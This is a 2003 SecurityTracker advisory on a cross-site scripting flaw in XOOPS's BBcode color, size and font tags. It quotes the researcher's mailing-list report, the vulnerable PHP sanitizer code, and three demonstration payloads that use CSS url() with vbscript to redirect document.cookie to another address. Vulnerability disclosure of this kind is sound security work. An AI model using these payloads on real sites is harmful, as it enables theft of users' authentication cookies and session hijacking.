SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Join our Affiliate Program
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Forum/Board/Portal)  >  XOOPS Vendors:  Xoops.sourceforge.net
XOOPS Input Filtering Flaw in BBcode Tags Permits Remote Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1007495
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Aug 13 2003
Impact:  Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Fix Available:  Yes   Exploit Included:  Yes   Vendor Confirmed:  Yes  
Version(s): 1.3.x and prior versions
Description:  An input validation vulnerability was reported in XOOPS in the processing of BBcode tags. A remote user can conduct cross-site scripting attacks.

Frog-m@n reported that the 'textsanitizer.php' script does not properly filter user-supplied HTML code contained in the '[color]', '[size]', and '[font]' BBcode tags. The Private Messages, News, and NewBB modules are affected. A remote user can create a message containing specially crafted BBcodes so that when a target user views the message, arbitrary scripting code will be executed by the target user's browser. The code will originate from the site running the XOOPS software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit strings using the url() function are provided:

[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+ Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]

[size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr( 102)+document.cookie))]a[/size]

[font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/font]


According to the report, the expression() function can also be exploited.

Impact:  A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the XOOPS software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:  It is reported that the lastest version (2.0.3) is not vulnerable. XOOPS is available at:

http://www.xoops.org//general/download.php

Vendor URL:  www.xoops.org/ (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  "Frog Man" <leseulfrog@hotmail.com>
Message History:   None.


 Source Message Contents

Date:  Wed, 13 Aug 2003 13:32:07 +0200
From:  "Frog Man" <leseulfrog@hotmail.com>
Subject:  [VulnWatch] BBCode XSS in XOOPS CMS

 

Informations :
°°°°°°°°°°°°°

Language : PHP
Bugged Versions : 1.3.x and less (+ 2.0.x and less ? not checked)
Safe Version : 2.0.3
Website : http://www.xoops.org
Problem : BBcode XSS

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
This hole can be used in modules :
- Private Messages
- News
- NewBB (forum)


class/module/textsanitizer.php :

---------------------------------------------------------------------------------------
[...]
function xoopsCodeDecode($text){
$patterns = array();
$replacements = array();
[...]
$patterns[] = "/\[color=(['\"]?)([^\"']*)\\1](.*)\[\/color\]/sU";
$replacements[] = "<span style='color: #\\2;'>\\3</span>";
$patterns[] = "/\[size=(['\"]?)([^\"']*)\\1](.*)\[\/size\]/sU";
$replacements[] = "<span style='font-size: \\2;'>\\3</span>";
$patterns[] = "/\[font=(['\"]?)([^\"']*)\\1](.*)\[\/font\]/sU";
$replacements[] = "<span style='font-family: \\2;'>\\3</span>";
[...]
$text = preg_replace($patterns, $replacements, $text);
[...]
return $text;
 
[...]
function oopsHtmlSpecialChars($text) {
$text = htmlspecialchars($text);
$text = str_replace("'","'",$text);
return $text;
 
[...]
---------------------------------------------------------------------------------------


Exploit :
°°°°°°°

-----------------------------------------------------------------------------------------------------
------------------------ [color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(
102)+document.cookie))]a[/color] [size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+
document.cookie))]a[/size] [font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(
102)+document.cookie))]a[/font] -----------------------------------------------------------------------------------------------------
------------------------ function url() from style tag (css) and vbscript are used here to redirect to the url "abcdef" + the cookie with the bbcode tags [color] [size] and [font]. Another style function that could be used is expression(). Patch : °°°°°° Just download the las version of XOOPS (2.0.3). frog-m@n http://www.phpsecure.info _________________________________________________________________


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2002, SecurityGlobal.net LLC